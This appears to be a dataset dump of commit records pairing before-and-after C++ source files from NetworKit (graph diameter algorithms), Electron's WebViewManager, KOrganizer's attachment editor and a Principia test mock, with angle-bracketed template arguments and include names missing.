v;\n\t\t\t}\n\t\t});\n\n\t\tupdateBounds();\n\t}\n\n\n\thandler.assureRunning();\n\n\tstd::vector minDist(numberOfComponents, G.numberOfNodes());\n\tG.forNodes([&](node u) {\n\t\tauto c = comp.componentOfNode(u);\n\t\tif (sum[u] < minDist[c]) {\n\t\t\tminDist[c] = sum[u];\n\t\t\tstartNodes[c] = u;\n\t\t}\n\t});\n\n\thandler.assureRunning();\n\n\tG.BFSfrom(startNodes, visitNode);\n\tupdateBounds();\n\n\tcount lb, ub;\n\tstd::tie(lb, ub) = diameterBounds();\n\n\tfor (index i = 0; i < G.numberOfNodes() && ub > (lb + error*lb); ++i) {\n\t\thandler.assureRunning();\n\t\tstartNodes.clear();\n\t\tstartNodes.resize(numberOfComponents, none);\n\n\t\tif ((i % 2) == 0) {\n\t\t\tG.forNodes([&](node u) {\n\t\t\t\tauto c = comp.componentOfNode(u);\n\t\t\t\tif (startNodes[c] == none || std::tie(eccUpperBound[u], sum[u]) > std::tie(eccUpperBound[startNodes[c]], sum[startNodes[c]])) {\n\t\t\t\t\tstartNodes[c] = u;\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tG.forNodes([&](node u) {\n\t\t\t\tauto c = comp.componentOfNode(u);\n\t\t\t\tif (startNodes[c] == none || std::tie(eccLowerBound[u], sum[u]) < std::tie(eccLowerBound[startNodes[c]], sum[startNodes[c]])) {\n\t\t\t\t\tstartNodes[c] = u;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\thandler.assureRunning();\n\n\t\tG.BFSfrom(startNodes, visitNode);\n\n\t\thandler.assureRunning();\n\n\t\tupdateBounds();\n\n\t\tstd::tie(lb, ub) = diameterBounds();\n\t}\n\n\treturn {lb, ub};\n}\n\n\nedgeweight Diameter::estimatedVertexDiameter(const Graph& G, count samples) {\n\n\tedgeweight infDist = std::numeric_limits::max();\n\n\t\/\/ TODO: consider weights\n\n\tauto estimateFrom = [&](node v) -> count {\n\t\tBFS bfs(G, v);\n\t\tbfs.run();\n\t\tauto distances = bfs.getDistances();\n\n\t\t\/\/ get two largest path lengths\n\t\tedgeweight maxD = 0;\n\t\tedgeweight maxD2 = 0; \/\/ second largest distance\n\t\tfor (auto d : distances) {\n\t\t\tif ((d != infDist) && (d >= maxD)) {\n\t\t\t\tmaxD2 = maxD;\n\t\t\t\tmaxD = d;\n\t\t\t}\n\t\t}\n\n\t\tedgeweight dMax = maxD + maxD2;\n\t\tcount vd = (count) dMax + 1; \t\/\/ count the nodes, not the edges\n\t\treturn vd;\n\t};\n\n\tedgeweight vdMax = 0;\n\t#pragma omp parallel for\n\tfor (count i = 0; i < samples; ++i) {\n\t\tnode u = G.randomNode();\n\t\tedgeweight vd = estimateFrom(u);\n\t\tDEBUG(\"sampled vertex diameter from node \", u, \": \", vd);\n\t\t#pragma omp critical\n\t\t{\n\t\t\tif (vd > vdMax) {\n\t\t\t\tvdMax = vd;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vdMax;\n\n}\n\nedgeweight Diameter::estimatedVertexDiameterPedantic(const Graph& G) {\n\tcount vd = 0;\n\tif (!G.isWeighted()) {\n\t\tstd::vector visited(G.upperNodeIdBound(), false);\n\t\t\/\/ perform breadth-first searches\n\t\tG.forNodes([&](node u) {\n\t\t\tif (visited[u] == false) {\n\t\t\t\tcount maxDist = 0, maxDist2 = 0;\n\t\t\t\tG.BFSfrom(u, [&](node v, count dist) {\n\t\t\t\t\tvisited[v] = true;\n\t\t\t\t\tif (dist > maxDist) {\n\t\t\t\t\t\tmaxDist2 = maxDist;\n\t\t\t\t\t\tmaxDist = dist;\n\t\t\t\t\t}\n\t\t\t\t\telse if (dist > maxDist2) {\n\t\t\t\t\t\tmaxDist2 = dist;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tif (maxDist + maxDist2 > vd) {\n\t\t\t\t\tvd = maxDist + maxDist2;\n\t\t\t\t}\n\t\t\t\tassert (visited[u] == true);\n\t\t\t}\n\t\t});\n\t\tvd ++; \/\/we need the number of nodes, not the number of edges\n\t}\n\telse {\n\t\tConnectedComponents cc(G);\n\t\tDEBUG(\"finding connected components\");\n\t\tcc.run();\n\t\tINFO(\"Number of components \", cc.numberOfComponents());\n\t\tDEBUG(\"Estimating size of the largest component\");\n\t\tstd::map sizes = cc.getComponentSizes();\n\t\tcount largest_comp_size = 0;\n\t\tfor(auto it = sizes.cbegin(); it != sizes.cend(); ++it) {\n\t\t\tDEBUG(it->second);\n\t\t\tif (it->second > largest_comp_size) {\n\t\t\t\tlargest_comp_size = it->second;\n\t\t\t}\n\t\t}\n\t\tINFO(\"Largest component size: \", largest_comp_size);\n\t\tvd = largest_comp_size;\n\t}\n\treturn vd;\n}\n\n} \/* namespace NetworKit *\/\nDiameter: throw on weighted networks\/*\n * Diameter.cpp\n *\n * Created on: 19.02.2014\n * Author: Daniel Hoske, Christian Staudt\n *\/\n\n#include \n\n#include \"Diameter.h\"\n#include \"Eccentricity.h\"\n#include \"..\/graph\/BFS.h\"\n#include \"..\/graph\/Dijkstra.h\"\n#include \"..\/components\/ConnectedComponents.h\"\n#include \"..\/structures\/Partition.h\"\n#include \"..\/graph\/BFS.h\"\n#include \"..\/auxiliary\/Parallel.h\"\n\nnamespace NetworKit {\n\n\nedgeweight Diameter::exactDiameter(const Graph& G) {\n\tusing namespace std;\n\n\tAux::SignalHandler handler;\n\n\tedgeweight diameter = 0.0;\n\n\tif (! G.isWeighted()) {\n\t\tstd::tie(diameter, std::ignore) = estimatedDiameterRange(G, 0);\n\t} else {\n\t\t G.forNodes([&](node v) {\n\t\t\thandler.assureRunning();\n\t\t \tDijkstra dijkstra(G, v);\n\t\t \tdijkstra.run();\n\t\t \tauto distances = dijkstra.getDistances();\n\t\t \tfor (auto distance : distances) {\n\t\t \t\tif (diameter < distance) {\n\t\t \t\t\tdiameter = distance;\n\t\t \t\t}\n\t\t \t}\n\/\/\t\t\tDEBUG(\"ecc(\", v, \"): \", *std::max_element(distances.begin(), distances.end()), \" of \", distances);\n\t\t });\n\t}\n\n\tif (diameter == std::numeric_limits::max()) {\n\t\tthrow std::runtime_error(\"Graph not connected - diameter is infinite\");\n\t}\n\treturn diameter;\n}\n\n\n\n\n\nstd::pair Diameter::estimatedDiameterRange(const NetworKit::Graph &G, double error) {\n\tif (G.isDirected() || G.isWeighted()) {\n\t\tthrow std::runtime_error(\"Error, the diameter of directed or weighted graphs cannot be computed yet.\");\n\t}\n\n\tAux::SignalHandler handler;\n\t\/*\n\t * This is an implementation of a slightly modified version of the exactSumSweep algorithm as presented in\n\t * Fast diameter and radius BFS-based computation in (weakly connected) real-world graphs: With an application to the six degrees of separation games\n\t * by Michele Borassi, Pierluigi Crescenzi, Michel Habib, Walter A. Kosters, Andrea Marino, Frank W. Takes\n\t * http:\/\/www.sciencedirect.com\/science\/article\/pii\/S0304397515001644\n\t *\/\n\n\tstd::vector sum(G.upperNodeIdBound(), 0);\n\tstd::vector eccLowerBound(G.upperNodeIdBound(), 0), eccUpperBound(G.upperNodeIdBound(), std::numeric_limits::max());\n\n\t#pragma omp parallel for\n\tfor (node u = 0; u < G.upperNodeIdBound(); ++u) {\n\t\tif (!G.hasNode(u)) {\n\t\t\teccUpperBound[u] = 0;\n\t\t}\n\t}\n\n\tstd::vector distances(G.upperNodeIdBound(), 0);\n\tstd::vector finished(G.upperNodeIdBound(), false);\n\tcount k = 4;\n\n\n\tConnectedComponents comp(G);\n\tcomp.run();\n\tcount numberOfComponents = comp.numberOfComponents();\n\tstd::vector startNodes(numberOfComponents, 0), maxDist(numberOfComponents, 0);\n\tstd::vector firstDeg2Node(numberOfComponents, none);\n\tstd::vector distFirst(numberOfComponents, 0);\n\tstd::vector ecc(numberOfComponents, 0);\n\n\n\tauto updateBounds = [&]() {\n\t\tG.parallelForNodes([&](node u) {\n\t\t\tif (finished[u]) return;\n\n\t\t\tauto c = comp.componentOfNode(u);\n\n\t\t\tif (distances[u] <= distFirst[c]) {\n\t\t\t\teccUpperBound[u] = std::max(distances[u], ecc[c] - distances[u]);\n\t\t\t\teccLowerBound[u] = eccUpperBound[u];\n\t\t\t\tfinished[u] = true;\n\t\t\t} else {\n\t\t\t\teccUpperBound[u] = std::min(distances[u] + ecc[c] - 2 * distFirst[c], eccUpperBound[u]);\n\t\t\t\teccLowerBound[u] = std::max(eccLowerBound[u], distances[u]);\n\t\t\t\tfinished[u] = (eccUpperBound[u] == eccLowerBound[u]);\n\t\t\t}\n\t\t});\n\n\t\tecc.clear();\n\t\tecc.resize(numberOfComponents, 0);\n\t\tdistFirst.clear();\n\t\tdistFirst.resize(numberOfComponents, 0);\n\t};\n\n\tauto diameterBounds = [&]() {\n\t\tauto maxExact = *Aux::Parallel::max_element(eccLowerBound.begin(), eccLowerBound.end());\n\t\tauto maxPotential = *Aux::Parallel::max_element(eccUpperBound.begin(), eccUpperBound.end());\n\t\treturn std::make_pair(maxExact, maxPotential);\n\t};\n\n\tauto visitNode = [&](node v, count dist) {\n\t\tsum[v] += dist;\n\t\tdistances[v] = dist;\n\n\t\tindex c = comp.componentOfNode(v);\n\t\tecc[c] = std::max(dist, ecc[c]);\n\t\tif (firstDeg2Node[c] == none && G.degree(v) > 1) {\n\t\t\tfirstDeg2Node[c] = v;\n\t\t\tdistFirst[c] = dist;\n\t\t}\n\t};\n\n\tfor (index i = 0; i < k; ++i) {\n\t\thandler.assureRunning();\n\t\tif (i == 0) {\n\t\t\tstd::vector minDeg(numberOfComponents, G.numberOfNodes());\n\n\t\t\t\/\/ for each component, find the node with the minimum degreee and add it as start node\n\t\t\tG.forNodes([&](node v) {\n\t\t\t\tcount d = G.degree(v);\n\t\t\t\tcount c = comp.componentOfNode(v);\n\t\t\t\tif (d < minDeg[c]) {\n\t\t\t\t\tstartNodes[c] = v;\n\t\t\t\t\tminDeg[c] = d;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\tG.BFSfrom(startNodes, [&](node v, count dist) {\n\t\t\tvisitNode(v, dist);\n\t\t\tindex c = comp.componentOfNode(v);\n\t\t\tif (sum[v] >= maxDist[c]) {\n\t\t\t\tmaxDist[c] = sum[v];\n\t\t\t\tstartNodes[c] = v;\n\t\t\t}\n\t\t});\n\n\t\tupdateBounds();\n\t}\n\n\n\thandler.assureRunning();\n\n\tstd::vector minDist(numberOfComponents, G.numberOfNodes());\n\tG.forNodes([&](node u) {\n\t\tauto c = comp.componentOfNode(u);\n\t\tif (sum[u] < minDist[c]) {\n\t\t\tminDist[c] = sum[u];\n\t\t\tstartNodes[c] = u;\n\t\t}\n\t});\n\n\thandler.assureRunning();\n\n\tG.BFSfrom(startNodes, visitNode);\n\tupdateBounds();\n\n\tcount lb, ub;\n\tstd::tie(lb, ub) = diameterBounds();\n\n\tfor (index i = 0; i < G.numberOfNodes() && ub > (lb + error*lb); ++i) {\n\t\thandler.assureRunning();\n\t\tstartNodes.clear();\n\t\tstartNodes.resize(numberOfComponents, none);\n\n\t\tif ((i % 2) == 0) {\n\t\t\tG.forNodes([&](node u) {\n\t\t\t\tauto c = comp.componentOfNode(u);\n\t\t\t\tif (startNodes[c] == none || std::tie(eccUpperBound[u], sum[u]) > std::tie(eccUpperBound[startNodes[c]], sum[startNodes[c]])) {\n\t\t\t\t\tstartNodes[c] = u;\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tG.forNodes([&](node u) {\n\t\t\t\tauto c = comp.componentOfNode(u);\n\t\t\t\tif (startNodes[c] == none || std::tie(eccLowerBound[u], sum[u]) < std::tie(eccLowerBound[startNodes[c]], sum[startNodes[c]])) {\n\t\t\t\t\tstartNodes[c] = u;\n\t\t\t\t}\n\t\t\t});\n\t\t}\n\n\t\thandler.assureRunning();\n\n\t\tG.BFSfrom(startNodes, visitNode);\n\n\t\thandler.assureRunning();\n\n\t\tupdateBounds();\n\n\t\tstd::tie(lb, ub) = diameterBounds();\n\t}\n\n\treturn {lb, ub};\n}\n\n\nedgeweight Diameter::estimatedVertexDiameter(const Graph& G, count samples) {\n\n\tedgeweight infDist = std::numeric_limits::max();\n\n\t\/\/ TODO: consider weights\n\n\tauto estimateFrom = [&](node v) -> count {\n\t\tBFS bfs(G, v);\n\t\tbfs.run();\n\t\tauto distances = bfs.getDistances();\n\n\t\t\/\/ get two largest path lengths\n\t\tedgeweight maxD = 0;\n\t\tedgeweight maxD2 = 0; \/\/ second largest distance\n\t\tfor (auto d : distances) {\n\t\t\tif ((d != infDist) && (d >= maxD)) {\n\t\t\t\tmaxD2 = maxD;\n\t\t\t\tmaxD = d;\n\t\t\t}\n\t\t}\n\n\t\tedgeweight dMax = maxD + maxD2;\n\t\tcount vd = (count) dMax + 1; \t\/\/ count the nodes, not the edges\n\t\treturn vd;\n\t};\n\n\tedgeweight vdMax = 0;\n\t#pragma omp parallel for\n\tfor (count i = 0; i < samples; ++i) {\n\t\tnode u = G.randomNode();\n\t\tedgeweight vd = estimateFrom(u);\n\t\tDEBUG(\"sampled vertex diameter from node \", u, \": \", vd);\n\t\t#pragma omp critical\n\t\t{\n\t\t\tif (vd > vdMax) {\n\t\t\t\tvdMax = vd;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vdMax;\n\n}\n\nedgeweight Diameter::estimatedVertexDiameterPedantic(const Graph& G) {\n\tcount vd = 0;\n\tif (!G.isWeighted()) {\n\t\tstd::vector visited(G.upperNodeIdBound(), false);\n\t\t\/\/ perform breadth-first searches\n\t\tG.forNodes([&](node u) {\n\t\t\tif (visited[u] == false) {\n\t\t\t\tcount maxDist = 0, maxDist2 = 0;\n\t\t\t\tG.BFSfrom(u, [&](node v, count dist) {\n\t\t\t\t\tvisited[v] = true;\n\t\t\t\t\tif (dist > maxDist) {\n\t\t\t\t\t\tmaxDist2 = maxDist;\n\t\t\t\t\t\tmaxDist = dist;\n\t\t\t\t\t}\n\t\t\t\t\telse if (dist > maxDist2) {\n\t\t\t\t\t\tmaxDist2 = dist;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t\tif (maxDist + maxDist2 > vd) {\n\t\t\t\t\tvd = maxDist + maxDist2;\n\t\t\t\t}\n\t\t\t\tassert (visited[u] == true);\n\t\t\t}\n\t\t});\n\t\tvd ++; \/\/we need the number of nodes, not the number of edges\n\t}\n\telse {\n\t\tConnectedComponents cc(G);\n\t\tDEBUG(\"finding connected components\");\n\t\tcc.run();\n\t\tINFO(\"Number of components \", cc.numberOfComponents());\n\t\tDEBUG(\"Estimating size of the largest component\");\n\t\tstd::map sizes = cc.getComponentSizes();\n\t\tcount largest_comp_size = 0;\n\t\tfor(auto it = sizes.cbegin(); it != sizes.cend(); ++it) {\n\t\t\tDEBUG(it->second);\n\t\t\tif (it->second > largest_comp_size) {\n\t\t\t\tlargest_comp_size = it->second;\n\t\t\t}\n\t\t}\n\t\tINFO(\"Largest component size: \", largest_comp_size);\n\t\tvd = largest_comp_size;\n\t}\n\treturn vd;\n}\n\n} \/* namespace NetworKit *\/\n<|endoftext|>"} {"text":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#include \"atom\/browser\/web_view_manager.h\"\n\n#include \"atom\/browser\/atom_browser_context.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n\nnamespace atom {\n\nWebViewManager::WebViewManager() {\n}\n\nWebViewManager::~WebViewManager() {\n}\n\nvoid WebViewManager::AddGuest(int guest_instance_id,\n int element_instance_id,\n content::WebContents* embedder,\n content::WebContents* web_contents) {\n web_contents_embedder_map_[guest_instance_id] = { web_contents, embedder };\n\n \/\/ Map the element in embedder to guest.\n int owner_process_id = embedder->GetRenderProcessHost()->GetID();\n ElementInstanceKey key(owner_process_id, element_instance_id);\n element_instance_id_to_guest_map_[key] = guest_instance_id;\n}\n\nvoid WebViewManager::RemoveGuest(int guest_instance_id) {\n if (!ContainsKey(web_contents_embedder_map_, guest_instance_id))\n return;\n\n web_contents_embedder_map_.erase(guest_instance_id);\n\n \/\/ Remove the record of element in embedder too.\n for (const auto& element : element_instance_id_to_guest_map_)\n if (element.second == guest_instance_id) {\n element_instance_id_to_guest_map_.erase(element.first);\n break;\n }\n}\n\ncontent::WebContents* WebViewManager::GetEmbedder(int guest_instance_id) {\n if (ContainsKey(web_contents_embedder_map_, guest_instance_id))\n return web_contents_embedder_map_[guest_instance_id].embedder;\n else\n return nullptr;\n}\n\ncontent::WebContents* WebViewManager::GetGuestByInstanceID(\n int owner_process_id,\n int element_instance_id) {\n ElementInstanceKey key(owner_process_id, element_instance_id);\n if (!ContainsKey(element_instance_id_to_guest_map_, key))\n return nullptr;\n\n int guest_instance_id = element_instance_id_to_guest_map_[key];\n if (ContainsKey(web_contents_embedder_map_, guest_instance_id))\n return web_contents_embedder_map_[guest_instance_id].web_contents;\n else\n return nullptr;\n}\n\nbool WebViewManager::ForEachGuest(content::WebContents* embedder_web_contents,\n const GuestCallback& callback) {\n for (auto& item : web_contents_embedder_map_)\n if (item.second.embedder == embedder_web_contents &&\n callback.Run(item.second.web_contents))\n return true;\n return false;\n}\n\n\/\/ static\nWebViewManager* WebViewManager::GetWebViewManager(\n content::WebContents* web_contents) {\n auto context = web_contents->GetBrowserContext();\n if (context) {\n auto manager = context->GetGuestManager();\n return static_cast(manager);\n } else {\n return nullptr;\n }\n}\n\n} \/\/ namespace atom\nRemove redundant atom:: namespace use\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n#include \"atom\/browser\/web_view_manager.h\"\n\n#include \"atom\/browser\/atom_browser_context.h\"\n#include \"content\/public\/browser\/render_process_host.h\"\n\nnamespace atom {\n\nWebViewManager::WebViewManager() {\n}\n\nWebViewManager::~WebViewManager() {\n}\n\nvoid WebViewManager::AddGuest(int guest_instance_id,\n int element_instance_id,\n content::WebContents* embedder,\n content::WebContents* web_contents) {\n web_contents_embedder_map_[guest_instance_id] = { web_contents, embedder };\n\n \/\/ Map the element in embedder to guest.\n int owner_process_id = embedder->GetRenderProcessHost()->GetID();\n ElementInstanceKey key(owner_process_id, element_instance_id);\n element_instance_id_to_guest_map_[key] = guest_instance_id;\n}\n\nvoid WebViewManager::RemoveGuest(int guest_instance_id) {\n if (!ContainsKey(web_contents_embedder_map_, guest_instance_id))\n return;\n\n web_contents_embedder_map_.erase(guest_instance_id);\n\n \/\/ Remove the record of element in embedder too.\n for (const auto& element : element_instance_id_to_guest_map_)\n if (element.second == guest_instance_id) {\n element_instance_id_to_guest_map_.erase(element.first);\n break;\n }\n}\n\ncontent::WebContents* WebViewManager::GetEmbedder(int guest_instance_id) {\n if (ContainsKey(web_contents_embedder_map_, guest_instance_id))\n return web_contents_embedder_map_[guest_instance_id].embedder;\n else\n return nullptr;\n}\n\ncontent::WebContents* WebViewManager::GetGuestByInstanceID(\n int owner_process_id,\n int element_instance_id) {\n ElementInstanceKey key(owner_process_id, element_instance_id);\n if (!ContainsKey(element_instance_id_to_guest_map_, key))\n return nullptr;\n\n int guest_instance_id = element_instance_id_to_guest_map_[key];\n if (ContainsKey(web_contents_embedder_map_, guest_instance_id))\n return web_contents_embedder_map_[guest_instance_id].web_contents;\n else\n return nullptr;\n}\n\nbool WebViewManager::ForEachGuest(content::WebContents* embedder_web_contents,\n const GuestCallback& callback) {\n for (auto& item : web_contents_embedder_map_)\n if (item.second.embedder == embedder_web_contents &&\n callback.Run(item.second.web_contents))\n return true;\n return false;\n}\n\n\/\/ static\nWebViewManager* WebViewManager::GetWebViewManager(\n content::WebContents* web_contents) {\n auto context = web_contents->GetBrowserContext();\n if (context) {\n auto manager = context->GetGuestManager();\n return static_cast(manager);\n } else {\n return nullptr;\n }\n}\n\n} \/\/ namespace atom\n<|endoftext|>"} {"text":"\/*\n This file is part of KOrganizer.\n\n Copyright (c) 2003 Cornelius Schumacher \n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"koeditorattachments.h\"\n\n#include \"kocore.h\"\n#include \"urihandler.h\"\n\n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\nKOEditorAttachments::KOEditorAttachments( int spacing, QWidget *parent,\n const char *name )\n : QWidget( parent, name )\n{\n QBoxLayout *topLayout = new QVBoxLayout( this );\n topLayout->setSpacing( spacing );\n\n mAttachments = new QListView( this );\n mAttachments->addColumn( i18n(\"URI\") );\n mAttachments->addColumn( i18n(\"MIME Type\") );\n topLayout->addWidget( mAttachments );\n connect( mAttachments, SIGNAL( doubleClicked( QListViewItem * ) ),\n SLOT( showAttachment( QListViewItem * ) ) );\n\n QBoxLayout *buttonLayout = new QHBoxLayout( topLayout );\n\n QPushButton *button = new QPushButton( i18n(\"Add...\"), this );\n buttonLayout->addWidget( button );\n connect( button, SIGNAL( clicked() ), SLOT( slotAdd() ) );\n\n button = new QPushButton( i18n(\"Edit...\"), this );\n buttonLayout->addWidget( button );\n connect( button, SIGNAL( clicked() ), SLOT( slotEdit() ) );\n\n button = new QPushButton( i18n(\"Remove\"), this );\n buttonLayout->addWidget( button );\n connect( button, SIGNAL( clicked() ), SLOT( slotRemove() ) );\n\n button = new QPushButton( i18n(\"Show\"), this );\n buttonLayout->addWidget( button );\n connect( button, SIGNAL( clicked() ), SLOT( slotShow() ) );\n}\n\nKOEditorAttachments::~KOEditorAttachments()\n{\n}\n\nvoid KOEditorAttachments::showAttachment( QListViewItem *item )\n{\n if ( !item ) return;\n\n QString uri = item->text( 0 );\n\n UriHandler::process( uri );\n}\n\nvoid KOEditorAttachments::slotAdd()\n{\n QString uri = KFileDialog::getOpenFileName( QString::null, QString::null,\n 0, i18n(\"Add Attachment\") );\n if ( !uri.isEmpty() ) {\n new QListViewItem( mAttachments, uri );\n }\n}\n\nvoid KOEditorAttachments::slotEdit()\n{\n QListViewItem *item = mAttachments->currentItem();\n if ( !item ) return;\n\n QString uri = KFileDialog::getOpenFileName( item->text( 0 ), QString::null,\n 0, i18n(\"Edit Attachment\") );\n\n if ( !uri.isEmpty() ) item->setText( 0, uri );\n}\n\nvoid KOEditorAttachments::slotRemove()\n{\n QListViewItem *item = mAttachments->currentItem();\n if ( !item ) return;\n\n if ( KMessageBox::warningContinueCancel(this,\n i18n(\"This item will be permanently deleted.\"),\n i18n(\"KOrganizer Confirmation\"),KGuiItem(i18n(\"Delete\"),\"editdelete\")) == KMessageBox::Continue )\n delete item;\n}\n\nvoid KOEditorAttachments::slotShow()\n{\n showAttachment( mAttachments->currentItem() );\n}\n\nvoid KOEditorAttachments::setDefaults()\n{\n mAttachments->clear();\n}\n\nvoid KOEditorAttachments::addAttachment( const QString &uri,\n const QString &mimeType )\n{\n new QListViewItem( mAttachments, uri, mimeType );\n}\n\nvoid KOEditorAttachments::readIncidence( Incidence *i )\n{\n mAttachments->clear();\n\n Attachment::List attachments = i->attachments();\n Attachment::List::ConstIterator it;\n for( it = attachments.begin(); it != attachments.end(); ++it ) {\n QString uri;\n if ( (*it)->isUri() ) uri = (*it)->uri();\n else uri = i18n(\"[Binary data]\");\n addAttachment( uri, (*it)->mimeType() );\n }\n}\n\nvoid KOEditorAttachments::writeIncidence( Incidence *i )\n{\n i->clearAttachments();\n\n QListViewItem *item;\n for( item = mAttachments->firstChild(); item; item = item->nextSibling() ) {\n i->addAttachment( new Attachment( item->text( 0 ), item->text( 1 ) ) );\n }\n}\n\n#include \"koeditorattachments.moc\"\nUse getOpenURL instead of getOpenFile, which makes it possible to attach remote files.\/*\n This file is part of KOrganizer.\n\n Copyright (c) 2003 Cornelius Schumacher \n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program; if not, write to the Free Software\n Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"koeditorattachments.h\"\n\n#include \"kocore.h\"\n#include \"urihandler.h\"\n\n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n\nKOEditorAttachments::KOEditorAttachments( int spacing, QWidget *parent,\n const char *name )\n : QWidget( parent, name )\n{\n QBoxLayout *topLayout = new QVBoxLayout( this );\n topLayout->setSpacing( spacing );\n\n mAttachments = new QListView( this );\n mAttachments->addColumn( i18n(\"URI\") );\n mAttachments->addColumn( i18n(\"MIME Type\") );\n topLayout->addWidget( mAttachments );\n connect( mAttachments, SIGNAL( doubleClicked( QListViewItem * ) ),\n SLOT( showAttachment( QListViewItem * ) ) );\n\n QBoxLayout *buttonLayout = new QHBoxLayout( topLayout );\n\n QPushButton *button = new QPushButton( i18n(\"Add...\"), this );\n buttonLayout->addWidget( button );\n connect( button, SIGNAL( clicked() ), SLOT( slotAdd() ) );\n\n button = new QPushButton( i18n(\"Edit...\"), this );\n buttonLayout->addWidget( button );\n connect( button, SIGNAL( clicked() ), SLOT( slotEdit() ) );\n\n button = new QPushButton( i18n(\"Remove\"), this );\n buttonLayout->addWidget( button );\n connect( button, SIGNAL( clicked() ), SLOT( slotRemove() ) );\n\n button = new QPushButton( i18n(\"Show\"), this );\n buttonLayout->addWidget( button );\n connect( button, SIGNAL( clicked() ), SLOT( slotShow() ) );\n}\n\nKOEditorAttachments::~KOEditorAttachments()\n{\n}\n\nvoid KOEditorAttachments::showAttachment( QListViewItem *item )\n{\n if ( !item ) return;\n\n QString uri = item->text( 0 );\n\n UriHandler::process( uri );\n}\n\nvoid KOEditorAttachments::slotAdd()\n{\n KURL uri = KFileDialog::getOpenURL( QString::null, QString::null,\n 0, i18n(\"Add Attachment\") );\n if ( !uri.isEmpty() ) {\n new QListViewItem( mAttachments, uri.url() );\n }\n}\n\nvoid KOEditorAttachments::slotEdit()\n{\n QListViewItem *item = mAttachments->currentItem();\n if ( !item ) return;\n\n KURL uri = KFileDialog::getOpenURL( item->text( 0 ), QString::null,\n 0, i18n(\"Edit Attachment\") );\n\n if ( !uri.isEmpty() ) item->setText( 0, uri.url() );\n}\n\nvoid KOEditorAttachments::slotRemove()\n{\n QListViewItem *item = mAttachments->currentItem();\n if ( !item ) return;\n\n if ( KMessageBox::warningContinueCancel(this,\n i18n(\"This item will be permanently deleted.\"),\n i18n(\"KOrganizer Confirmation\"),KGuiItem(i18n(\"Delete\"),\"editdelete\")) == KMessageBox::Continue )\n delete item;\n}\n\nvoid KOEditorAttachments::slotShow()\n{\n showAttachment( mAttachments->currentItem() );\n}\n\nvoid KOEditorAttachments::setDefaults()\n{\n mAttachments->clear();\n}\n\nvoid KOEditorAttachments::addAttachment( const QString &uri,\n const QString &mimeType )\n{\n new QListViewItem( mAttachments, uri, mimeType );\n}\n\nvoid KOEditorAttachments::readIncidence( Incidence *i )\n{\n mAttachments->clear();\n\n Attachment::List attachments = i->attachments();\n Attachment::List::ConstIterator it;\n for( it = attachments.begin(); it != attachments.end(); ++it ) {\n QString uri;\n if ( (*it)->isUri() ) uri = (*it)->uri();\n else uri = i18n(\"[Binary data]\");\n addAttachment( uri, (*it)->mimeType() );\n }\n}\n\nvoid KOEditorAttachments::writeIncidence( Incidence *i )\n{\n i->clearAttachments();\n\n QListViewItem *item;\n for( item = mAttachments->firstChild(); item; item = item->nextSibling() ) {\n i->addAttachment( new Attachment( item->text( 0 ), item->text( 1 ) ) );\n }\n}\n\n#include \"koeditorattachments.moc\"\n<|endoftext|>"} {"text":"\n#pragma once\n\n#include \"gmock\/gmock.h\"\n#include \"ksp_plugin\/manœuvre.hpp\"\n\nnamespace principia {\nnamespace ksp_plugin {\n\ntemplate \nclass MockManœuvre : public Manœuvre{\n public:\n MockManœuvre(\n Force const& thrust,\n Mass const& initial_mass,\n SpecificImpulse const& specific_impulse,\n Vector> const& direction,\n not_null const>> frame)\n : Manœuvre(thrust,\n initial_mass,\n specific_impulse,\n direction,\n std::move(frame)) {}\n\n MOCK_CONST_METHOD0_T(InertialDirection, Vector());\n\n MOCK_CONST_METHOD0_T(FrenetFrame,\n OrthogonalMap, InertialFrame>());\n};\n\n} \/\/ namespace ksp_plugin\n} \/\/ namespace principia\nstandardize\n#pragma once\n\n#include \"gmock\/gmock.h\"\n#include \"ksp_plugin\/manœuvre.hpp\"\n\nnamespace principia {\nnamespace ksp_plugin {\n\ntemplate \nclass MockManœuvre : public Manœuvre{\n public:\n MockManœuvre(\n Force const& thrust,\n Mass const& initial_mass,\n SpecificImpulse const& specific_impulse,\n Vector> const& direction,\n not_null const>> frame)\n : Manœuvre(thrust,\n initial_mass,\n specific_impulse,\n direction,\n std::move(frame)) {}\n\n MOCK_CONST_METHOD0_T(InertialDirection, Vector());\n\n MOCK_CONST_METHOD0_T(FrenetFrame,\n OrthogonalMap, InertialFrame>());\n};\n\n} \/\/ namespace ksp_plugin\n} \/\/ namespace principia\n<|endoftext|>"} 